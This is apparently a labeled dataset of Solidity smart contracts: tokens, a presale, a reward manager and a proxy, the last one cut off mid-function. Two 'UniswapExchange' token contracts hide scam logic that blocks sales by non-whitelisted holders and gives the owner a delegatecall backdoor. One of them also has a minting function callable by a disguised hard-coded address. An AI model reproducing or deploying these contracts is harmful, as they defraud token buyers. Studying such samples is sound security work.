require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist");
distributeRewards();
Pool storage pool = pools[_poolId];
totalWeight -= pool.weight;
totalWeight += _newWeight;
pool.weight = _newWeight;
emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight);
}
function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov {
distributeRewards();
rewardPerSecond = _rewardPerSecond;
emit RewardsPerSecondSet(_rewardPerSecond);
}
function distributeRewards() public onlyRewardDistributor {
uint256 timePassed = block.timestamp - lastDistribution;
uint256 totalRewardAmount = rewardPerSecond * timePassed;
lastDistribution = block.timestamp;
if(pools.length == 0) {
return;
}
if(totalRewardAmount == 0) {
return;
}
reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount);
for(uint256 i = 0; i < pools.length; i ++) {
Pool memory pool = pools[i];
uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight;
address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, poolRewardAmount));
}
uint256 leftOverReward = reward.balanceOf(address(this));
if(leftOverReward > 1) {
reward.safeTransfer(rewardSource, leftOverReward);
}
emit RewardsDistributed(_msgSender(), totalRewardAmount);
}
function getPools() external view returns(Pool[] memory result) {
return pools;
}
} | 0 | 1,405 |
contract IERC20Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract IToken {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transferViaProxy(address _from, address _to, uint _value) returns (uint error) {}
function transferFromViaProxy(address _source, address _from, address _to, uint256 _amount) returns (uint error) {}
function approveViaProxy(address _source, address _spender, uint256 _value) returns (uint error) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
function mint(address _destination, uint _amount) returns (uint error){}
function destroy(address _destination, uint _amount) returns (uint error) {}
}
contract MacroProxyContract is IERC20Token {
address public dev;
address public curator;
address public proxyManagementAddress;
bool public proxyWorking;
string public standard = 'MacroERC20Proxy';
string public name = 'Macro';
string public symbol = 'MCR';
uint8 public decimals = 8;
IToken tokenContract;
function MacroProxyContract(){
dev = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenContract.totalSupply();
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return tokenContract.balanceOf(_owner);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (!proxyWorking) throw;
tokenContract.transferViaProxy(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (!proxyWorking) throw;
tokenContract.transferFromViaProxy(msg.sender, _from, _to, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (!proxyWorking) throw;
tokenContract.approveViaProxy(msg.sender, _spender, _value);
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return tokenContract.allowance(_owner, _spender);
}
function setTokenContract(address _tokenAddress) {
if (msg.sender != curator) throw;
tokenContract = IToken(_tokenAddress);
}
function setProxyManagementAddress(address _proxyManagementAddress){
if (msg.sender != curator) throw;
proxyManagementAddress = _proxyManagementAddress;
}
function enableDisableTokenProxy(){
if (msg.sender != curator) throw;
proxyWorking = !proxyWorking;
}
function setProxyCurator(address _curatorAddress){
if( msg.sender != dev) throw;
curator = _curatorAddress;
}
function killContract(){
if (msg.sender != dev) throw;
selfdestruct(dev);
}
function tokenAddress() constant returns (address contractAddress){
return address(tokenContract);
}
function raiseTransferEvent(address _from, address _to, uint256 _value){
if(msg.sender != proxyManagementAddress) throw;
Transfer(_from, _to, _value);
}
function raiseApprovalEvent(address _owner, address _spender, uint256 _value){
if(msg.sender != proxyManagementAddress) throw;
Approval(_owner, _spender, _value);
}
function () {
throw;
}
} | 1 | 5,398 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 205 |
pragma solidity ^0.4.17;
contract BnsPresale {
string public constant VERSION = "0.2.0-demo-test-02-max_1_eth";
uint public constant PRESALE_START = 4470680;
uint public constant PRESALE_END = 4470740;
uint public constant WITHDRAWAL_END = 4470800;
address public constant OWNER = 0xcEAfe38b8d3802789A2A2cc45EA5d08bE8EA3b49;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 0;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
uint public total_refunded;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
bool public isStopped = false;
function BnsPresale () public validSetupOnly() { }
function ()
payable
noReentrancy
public
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
revert();
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
onlyOwner
noReentrancy
{
OWNER.transfer(this.balance);
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function stop() external
inState(State.PRESALE_RUNNING)
onlyOwner
{
isStopped = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
uint amount_to_refund = min(balances[msg.sender], this.balance - msg.value) ;
balances[msg.sender] -= amount_to_refund;
total_refunded += amount_to_refund;
msg.sender.transfer(amount_to_refund + msg.value);
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
msg.sender.transfer(change_to_return);
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE && !isStopped) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
function min(uint a, uint b) pure private returns (uint) {
return a < b ? a : b;
}
modifier inState(State state) {
assert(state == currentState());
_;
}
modifier inStateBefore(State state) {
assert(currentState() < state);
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
revert();
_;
}
modifier onlyOwner(){
assert(msg.sender == OWNER);
_;
}
modifier tokenHoldersOnly(){
assert(balances[msg.sender] > 0);
_;
}
modifier notTooSmallAmountOnly(){
assert(msg.value >= MIN_ACCEPTED_AMOUNT);
_;
}
bool private locked = false;
modifier noReentrancy() {
assert(!locked);
locked = true;
_;
locked = false;
}
} | 0 | 1,434 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,135 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract YuanTian {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | 1 | 3,428 |
pragma solidity ^0.4.22;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY;
mapping (address => bool) private isSigner;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy) {
originalToken = _originalToken;
TRANSFER_PROXY = _transferProxy;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
require(ERC20(originalToken).transferFrom(msg.sender, this, _value));
